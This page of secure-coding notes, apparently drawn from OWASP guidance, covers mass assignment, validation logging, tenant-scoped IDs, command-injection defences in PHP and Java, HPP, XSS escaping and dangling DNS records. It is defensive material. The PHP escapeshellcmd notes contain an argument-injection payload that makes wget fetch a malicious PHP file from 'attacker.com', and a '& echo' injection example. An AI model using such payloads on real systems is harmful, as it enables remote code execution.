abuse_cases/validation

149 notes in this subject, read out of this brain and free to use. This is page 3 of 3.

NodeJS Mongoose Mass Assignment allow-listing

In NodeJS with Mongoose, implement allow-listing by defining a userCreateSafeFields static array on the schema and using underscore's pick() function: var user = new User(_.pick(req.body, User.userCreateSafeFields)); where userCreateSafeFields contains only ['userid', 'password', 'email'].

NodeJS Mongoose Mass Assignment block-listing

In NodeJS with Mongoose, use the mongoose-mass-assign plugin and define fields with protect: true property. Example: isAdmin : { type: Boolean, protect: true, default: false }. Then use User.massAssign(req.body) for static method or user.massAssign(req.body) for instance method.

Mass Assignment mitigation strategies

Three mitigation strategies for Mass Assignment are: (1) allow-list the bindable, non-sensitive fields, (2) block-list the non-bindable, sensitive fields, and (3) use Data Transfer Objects (DTOs).

PHP Laravel Eloquent Mass Assignment allow-listing

In PHP Laravel with Eloquent, use the protected $fillable property to allow-list editable fields. Example: protected $fillable = array('userid','password','email');

PHP Laravel Eloquent Mass Assignment block-listing

In PHP Laravel with Eloquent, use the protected $guarded property to block-list sensitive fields. Example: protected $guarded = array('isAdmin');

Input validation failure logging with discrete value lists

Always log input validation failures for any protocol violations, unacceptable encodings, invalid parameter names and values. A specific event must be logged for failures to validate a value against a discrete and finite list of valid values, such as a country from a dropdown. This is a high security event as it can only be attack activity. The example format is `input_validation_fail[:field,userid]`.

Always log output validation failures

Output validation failures must always be logged, such as database record set mismatches or invalid data encoding.

Always include tenant_id in composite keys for resource lookups

All resource queries must validate ownership using composite keys combining tenant_id and resource_id. Never query resources by resource_id alone. Return 404 for missing resources regardless of ownership to avoid tenant enumeration.

Avoid exposing sequential or guessable resource IDs to clients

Use cryptographically secure, non-sequential identifiers (UUIDs, random tokens) for all resources exposed to clients. Avoid sequential integers or predictable IDs that allow enumeration.

Do not expose sequential or guessable IDs in APIs

Avoid sequential integers or predictable identifiers (e.g., 1, 2, 3) for tenant_id or resource_id. Use UUIDs or cryptographically secure random tokens.

PHP command injection prevention best practices

PHP security practices for command injection prevention: Hardcode the command - never allow the user to choose which executable to run. Hardcode options - required flags should be in the code, not in user input. Validate and restrict input as much as possible by applying strict validation rules, whitelists, and format checks to minimize attack surface.

Defense Option 1: Avoid calling OS commands directly

The primary defense against command injection is to avoid calling OS commands directly. Built-in library functions are a very good alternative to OS Commands, as they cannot be manipulated to perform tasks other than those intended. For example, use mkdir() instead of system("mkdir /dir_name").

Defense Option 2: Escape values using OS-specific escaping

Escape values added to OS commands using OS-specific escaping functions. For example, PHP's escapeshellarg() surrounds the user input in single quotes. If malformed user input is '& echo "hello"', the final output becomes 'calc '& echo "hello"'' which is parsed as a single argument to the command calc. Even though this prevents OS Command Injection, an attacker can still pass a single argument to the command.

Defense Option 3: Parameterization with Input Validation

When calling a system command that incorporates user-supplied input cannot be avoided, use two layers of defense: Layer 1 is Parameterization - use structured mechanisms that automatically enforce separation between data and command. Layer 2 is Input Validation - validate both command values and relevant arguments.

Command validation strategy

When validating commands in OS command injection defense, commands must be validated against a list of allowed commands.

Argument validation strategy - positive allowlist

Arguments for commands should be validated using positive or allowlist input validation where the allowed arguments are explicitly defined.

Java Runtime.exec does not invoke shell

Java's Runtime.exec method does NOT try to invoke the shell at any point and does not support shell metacharacters. It tries to split the string into an array of words, then executes the first word in the array with the rest as parameters. Shell metacharacters like &, &&, |, || would simply end up as parameters being passed to the first command, likely causing a syntax error or being thrown out as invalid.

Java ProcessBuilder incorrect usage

Incorrect use of ProcessBuilder is passing the command together with arguments as a single string: ProcessBuilder b = new ProcessBuilder("C:\DoStuff.exe -arg1 -arg2");. This makes it easy to manipulate the expression and inject malicious strings.

PHP escapeshellcmd() function behavior

PHP's escapeshellcmd() ensures the user can execute only the intended command and can pass unlimited parameters, but cannot execute other commands. It is less secure than escapeshellarg() when dealing with user input.

PHP escapeshellcmd() argument injection vulnerability

escapeshellcmd() allows extra parameters to be passed. For example, with code system(escapeshellcmd('wget --directory-prefix=..\temp ' . $url)), if user provides url '--directory-prefix=. http://attacker.com/malicious.php', the attacker can override the original --directory-prefix option, save the file in the current directory and achieve remote command execution.

PHP escapeshellarg() for safe URL handling

The safe approach in PHP is to use escapeshellarg() so that the URL is treated as a single argument. For example: system('wget --directory-prefix=..\temp ' . escapeshellarg($url)). This converts malicious input like '--directory-prefix=. http://attacker.com/malicious.php' into a quoted string where the extra option becomes part of the quoted string, not a real option.

Argument validation strategy - allowlist regex

Arguments can be validated using an allowlist regular expression where a list of good, allowed characters and maximum length of the string are defined. Metacharacters (& | ; $ > < ` \ ! ' " ( )) and whitespaces must not be part of the regular expression. For example, the regex ^[a-z0-9]{3,10}$ only allows lowercase letters and numbers and does not contain metacharacters, with length limited to 3-10 characters.

POSIX Guideline 10 for argument injection prevention

According to POSIX Guideline 10, the first -- argument that is not an option-argument should be accepted as a delimiter indicating the end of options. Any following arguments should be treated as operands, even if they begin with the '-' character. For example, 'curl -- $url' will prevent argument injection even if the $url contains an additional argument.

Java ProcessBuilder for command execution

In Java, use ProcessBuilder and the command must be separated from its arguments. Each command and its arguments should be passed separately as distinct elements, not as a single string. For example, correct usage: ProcessBuilder pb = new ProcessBuilder("TrustedCmd", "TrustedArg1", "TrustedArg2");

Prevent HTTP Parameter Pollution using hpp middleware

HTTP Parameter Pollution (HPP) occurs when multiple HTTP parameters with the same name are sent, causing unpredictable interpretation. In Express, multiple parameter values are populated into an array. Use the `hpp` module to mitigate this by ignoring all but the last parameter value submitted in `req.query` and `req.body`. Usage: `app.use(hpp())`.

CSRF protection: csurf middleware is deprecated

The `csurf` Express middleware for CSRF protection has a security vulnerability and is marked as deprecated. The maintainers recommend using alternative CSRF protection packages. Refer to the OWASP Cross-Site Request Forgery Prevention Cheat Sheet for alternative approaches.

Escape output to prevent XSS attacks

Escape all HTML and JavaScript content shown to users to prevent cross-site scripting (XSS). Use `escape-html` for context-aware HTML escaping. When rendering user-supplied HTML (rather than escaping), use a maintained sanitizer such as `DOMPurify` (with jsdom for server-side) or `sanitize-html`. Avoid `node-esapi` as it is no longer actively maintained.

Perform input validation using whitelists and sanitizers

Input validation is critical to prevent SQL Injection, XSS, Command Injection, LFI, RFI, Directory Traversal, LDAP Injection and other injection attacks. Use whitelists of accepted inputs where possible. If not, check input against expected schema and escape dangerous characters. Use modules like `validator` and `express-mongo-sanitize` for Node.js input validation. For detailed guidance, refer to the OWASP Input Validation Cheat Sheet.

Automated dangling record detection approaches

Implement automated dangling record detection through: (1) Scheduled scans running daily or weekly to verify DNS targets still resolve and respond with expected content, not cloud provider error pages; (2) CI/CD integration adding DNS validation to deployment and teardown pipelines to verify associated DNS records are removed before marking decommissioning complete; (3) DNS change monitoring to alert when new CNAME records are created and when target resources return errors such as HTTP 404, NXDOMAIN, or cloud provider default error pages.

Give your agent this brain